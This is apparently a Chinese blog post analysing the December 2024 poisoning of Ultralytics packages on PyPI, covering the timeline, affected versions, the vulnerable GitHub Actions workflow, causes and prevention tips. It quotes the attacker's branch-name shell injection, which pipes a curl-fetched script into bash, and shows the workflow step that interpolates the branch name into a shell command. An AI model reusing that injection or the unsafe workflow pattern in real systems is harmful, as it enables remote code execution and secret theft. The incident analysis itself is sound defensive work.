Ultralytics 是YOLOv8(v11)的代码仓库,YOLOv11是一个很常见的图像目标检测的机器学习库,其性能在YOLO众多版本中表现出色。
相关链接:Discrepancy between what's in GitHub and what's been published to PyPI for v8.3.41 #18027
事件概述
详细事件经过过程可查看此
Issue
: Discrepancy between what's in GitHub and what's been published to PyPI for v8.3.41 #18027
Ultralytic
发布于PyPI
的包在2024-12-04
的v8.3.41
版本和2024-12-05
的v8.3.42
版本被投毒,其中恶意脚本主要是在已安装这两个版本的用户的环境中执行挖矿脚本。投毒来源于PR
所运行的Workflow
。
在事件发生36小时后再次被投毒,攻击者可能是通过前面两次投毒的PR
的Workflow
获取到了PyPI
的API
密钥,然后使用该密钥在2024-12-07
的8.3.45
和8.3.46
版本中再次投毒。
时间线
均为UTC时间
2024-12-04 20:51 ->
v8.3.41
was released by shell injection - #18018 triggered this action.2024-12-05 12:47 ->
v8.3.42
was released - #17970 triggered this action.2024-12-07 01:41:45 ->
v8.3.45
was likely released directly to PyPI, there is no related PR or action triggered from the action history.2024-12-07 02:27:14 ->
v8.3.46
was likely released directly to PyPI, there is no related PR or action triggered from the action history.
影响范围
影响范围目前已知情报,注意:如果你安装过以下版本,无论是否为受影响系统环境,都应该检查是否受到影响。
受影响的版本有:v8.3.41
、v8.3.42
、v8.3.45
、v8.3.46
受影响系统环境有:Linux x86
、MacOS arm64
受影响安装来源:通过PyPI
源安装的用户,通过Git
仓库源安装的用户可能不受影响;任何含有v8.3.41
、v8.3.42
、v8.3.45
、v8.3.46
版本的Docker
镜像;任何上游依赖了v8.3.41
、v8.3.42
、v8.3.45
、v8.3.46
的项目。
你可以通过以下命令检查是否受到影响:
pip show ultralytics
解决方案
首先卸载受影响的版本,然后重新安装最新版本。
pip uninstall ultralytics
然后通过 GitHub
源重新安装最新版本。
pip install git+https://github.com/ultralytics/ultralytics.git
或者通过 PyPI
源重新安装最新版本。
pip install ultralytics
事件缘由
分析依据:Discrepancy between what's in GitHub and what's been published to PyPI for v8.3.41 #18027 的讨论
触发事件
OpenIM Robot 为 Ultralytics
项目提交了 PR #18020:
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash)
注意其分支名称,很诡异,居然是一个 shell
脚本,很明显这是一个恶意 PR
。
其将 file.sh
文件下载并执行。
此文件已经被删除,会报
404
错误。
yaml 分析
该 PR
触发了 Ultralytics
的 PR
自动化 ultralytics/.github/workflows/format.yml
该 yaml
文件如下:
# Ultralytics 🚀 - AGPL-3.0 License https://ultralytics.com/license
# Ultralytics Actions https://github.com/ultralytics/actions
# This workflow automatically formats code and documentation in PRs to official Ultralytics standards
name: Ultralytics Actions
on:
issues:
types: [opened, edited]
discussion:
types: [created]
pull_request_target:
branches: [main]
types: [opened, closed, synchronize, review_requested]
jobs:
format:
runs-on: ubuntu-latest
steps:
- name: Run Ultralytics Formatting
uses: ultralytics/actions@main
with:
token: ${{ secrets._GITHUB_TOKEN }} # note GITHUB_TOKEN automatically generated
labels: true # autolabel issues and PRs
python: true # format Python code and docstrings
prettier: true # format YAML, JSON, Markdown and CSS
spelling: true # check spelling
links: false # check broken links
summary: true # print PR summary with GPT4o (requires 'openai_api_key')
openai_api_key: ${{ secrets.OPENAI_API_KEY }}
first_issue_response: |
👋 Hello @${{ github.actor }}, thank you for your interest in Ultralytics 🚀! We recommend a visit to the [Docs](https://docs.ultralytics.com) for new users where you can find many [Python](https://docs.ultralytics.com/usage/python/) and [CLI](https://docs.ultralytics.com/usage/cli/) usage examples and where many of the most common questions may already be answered.
If this is a 🐛 Bug Report, please provide a [minimum reproducible example](https://docs.ultralytics.com/help/minimum_reproducible_example/) to help us debug it.
If this is a custom training ❓ Question, please provide as much information as possible, including dataset image examples and training logs, and verify you are following our [Tips for Best Training Results](https://docs.ultralytics.com/guides/model-training-tips/).
Join the Ultralytics community where it suits you best. For real-time chat, head to [Discord](https://discord.com/invite/ultralytics) 🎧. Prefer in-depth discussions? Check out [Discourse](https://community.ultralytics.com). Or dive into threads on our [Subreddit](https://reddit.com/r/Ultralytics) to share knowledge with the community.
## Upgrade
Upgrade to the latest `ultralytics` package including all [requirements](https://github.com/ultralytics/ultralytics/blob/main/pyproject.toml) in a [**Python>=3.8**](https://www.python.org/) environment with [**PyTorch>=1.8**](https://pytorch.org/get-started/locally/) to verify your issue is not already resolved in the latest version:
```bash
pip install -U ultralytics
```
## Environments
YOLO may be run in any of the following up-to-date verified environments (with all dependencies including [CUDA](https://developer.nvidia.com/cuda)/[CUDNN](https://developer.nvidia.com/cudnn), [Python](https://www.python.org/) and [PyTorch](https://pytorch.org/) preinstalled):
- **Notebooks** with free GPU: <a href="https://console.paperspace.com/github/ultralytics/ultralytics"><img src="https://assets.paperspace.io/img/gradient-badge.svg" alt="Run on Gradient"/></a> <a href="https://colab.research.google.com/github/ultralytics/ultralytics/blob/main/examples/tutorial.ipynb"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"></a> <a href="https://www.kaggle.com/models/ultralytics/yolo11"><img src="https://kaggle.com/static/images/open-in-kaggle.svg" alt="Open In Kaggle"></a>
- **Google Cloud** Deep Learning VM. See [GCP Quickstart Guide](https://docs.ultralytics.com/yolov5/environments/google_cloud_quickstart_tutorial/)
- **Amazon** Deep Learning AMI. See [AWS Quickstart Guide](https://docs.ultralytics.com/yolov5/environments/aws_quickstart_tutorial/)
- **Docker Image**. See [Docker Quickstart Guide](https://docs.ultralytics.com/yolov5/environments/docker_image_quickstart_tutorial/) <a href="https://hub.docker.com/r/ultralytics/ultralytics"><img src="https://img.shields.io/docker/pulls/ultralytics/ultralytics?logo=docker" alt="Docker Pulls"></a>
## Status
<a href="https://github.com/ultralytics/ultralytics/actions/workflows/ci.yaml?query=event%3Aschedule"><img src="https://github.com/ultralytics/ultralytics/actions/workflows/ci.yaml/badge.svg" alt="Ultralytics CI"></a>
If this badge is green, all [Ultralytics CI](https://github.com/ultralytics/ultralytics/actions/workflows/ci.yaml?query=event%3Aschedule) tests are currently passing. CI tests verify correct operation of all YOLO [Modes](https://docs.ultralytics.com/modes/) and [Tasks](https://docs.ultralytics.com/tasks/) on macOS, Windows, and Ubuntu every 24 hours and on every commit.
我们先分析以下以上 Workflow
的 yaml
文件干了什么事情:
触发条件:
issues
:opened
、edited
discussion
:created
pull_request_target
:opened
、closed
、synchronize
、review_requested
在触发后,首先执行 Run Ultralytics Formatting
步骤:
- name: Run Ultralytics Formatting
uses: ultralytics/actions@main
with:
token: ${{ secrets._GITHUB_TOKEN }} # note GITHUB_TOKEN automatically generated
labels: true # autolabel issues and PRs
python: true # format Python code and docstrings
prettier: true # format YAML, JSON, Markdown and CSS
spelling: true # check spelling
links: false # check broken links
summary: true # print PR summary with GPT4o (requires 'openai_api_key')
openai_api_key: ${{ secrets.OPENAI_API_KEY }}
在这里,他调用了 ultralytics/actions
仓库的 main
分支的 Actions
,并传入了一些参数,其中包括 GITHUB_TOKEN
及 PR
分支名称。
我们再来看看 ultralytics/actions
仓库的 main
分支的 Actions
文件:actions/action.yml
然后,根据前面的分析。我们主要要找到在哪里传入了分支名称,我们可以看到在:
- name: Commit and Push Changes
if: (github.event_name == 'pull_request' || github.event_name == 'pull_request_target') && github.event.action != 'closed'
run: |
git config --global user.name "${{ inputs.github_username }}"
git config --global user.email "${{ inputs.github_email }}"
git pull origin ${{ github.head_ref || github.ref }}
git add .
git reset HEAD -- .github/workflows/ # workflow changes are not permitted with default token
if ! git diff --staged --quiet; then
git commit -m "Auto-format by https://ultralytics.com/actions"
git push
else
echo "No changes to commit"
fi
shell: bash
continue-on-error: false
在这里,我们可以看到,他运行了{{ github.head_ref || github.ref }}
,这个变量是 PR
的分支名称,那么结合之前的 PR
的 shell
脚本,我们可以知道,他将 PR
的分支名称作为 shell
脚本的参数传入,这就是恶意 PR
执行供应链投毒的根本原因。
在这里,执行相关命令将被替换为变量:
git pull origin $({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash)
疑云
到这里,我们只知道一切都指向了 PR
的 shell
脚本,但是我们并不知道这个 shell
脚本到底做了什么,因为它已经被删除了,我们只能根据 Issue
的讨论来推测。
同时,此脚本如何触发了 PyPI
的投毒,也是一个未知数,因为此次actions
并没有直接操作PyPI
。
再次投毒
在 2024-12-07
,再次被投毒,攻击者可能是通过前面两次投毒的PR
的Workflow
获取到了PyPI
的API
密钥,然后使用该密钥在2024-12-07
的8.3.45
和8.3.46
版本中再次投毒。
到这里其实才是我对于 Ultralytics
官方最大的疑问,为什么 PyPI
的 API
密钥泄露后没有被删除重置,反而在36小时内再次被攻击者利用。
后话
写到这里,我再完整看了一下 Issue
的完整讨论,发现早有人写完了分析,前面如何获取 PyPI
的 API
密钥,以及如何再次投毒的问题,我也有了答案。
这里我就不再赘述了,有兴趣的可以查看 zizmor would have caught the Ultralytics workflow vulnerability
投毒发生次要原因
Github
的branch
可以是任意的,攻击者可以通过PR
的branch
名称传入恶意shell
脚本,或许Github
应该对branch
名称做一些限制。Github
的Actions
机制无是否使用之分,比如说,我有一个PyPI
的API
密钥,无论我yaml
中是否使用,都是可被读取的。Ultralytics
官方不重视安全问题,其相关漏洞在2024-08-15
就被反馈漏洞:CWE-94 GitHub Actions Script Injection in "ultralytics/actions",并被及时修复,但是其在commit: c1365cedb65b86d4f77cabc192873ee4b6b33276再次引入了漏洞。Ultralytics
官方没有及时响应,在出现投毒事件后理应第一时间发布对外警告,重置所有可能出现泄露的密钥,导致其再次被泄露密钥发版。
如何避免
作为开发者,我们当然不愿意看见自己的项目被投毒,那么我们应该如何避免这种情况呢?
使用局部密钥,而不是全局密钥,控制密钥可访问范围。
警惕
PR
的Workflow
的权限,不要让PR
的Workflow
拥有过高的权限。警惕自动触发,
PR
或者Issue
触发最好由管理员手动触发。限制
branch
名称,不要让branch
名称可以是任意的。重视密钥安全,密钥泄露后应该第一时间重置密钥。
总结
这件事情能发生,更印证了世界是一个大型的草台班子,其他的不说,修复漏洞并再次引入像是我这种半吊子开发才应该干出来的事情,作为知名的机器学习库,Ultr alytics
居然能犯这种错误,还有就是发现泄露密钥后没有及时重置密钥,导致再次被攻击。太难蚌了。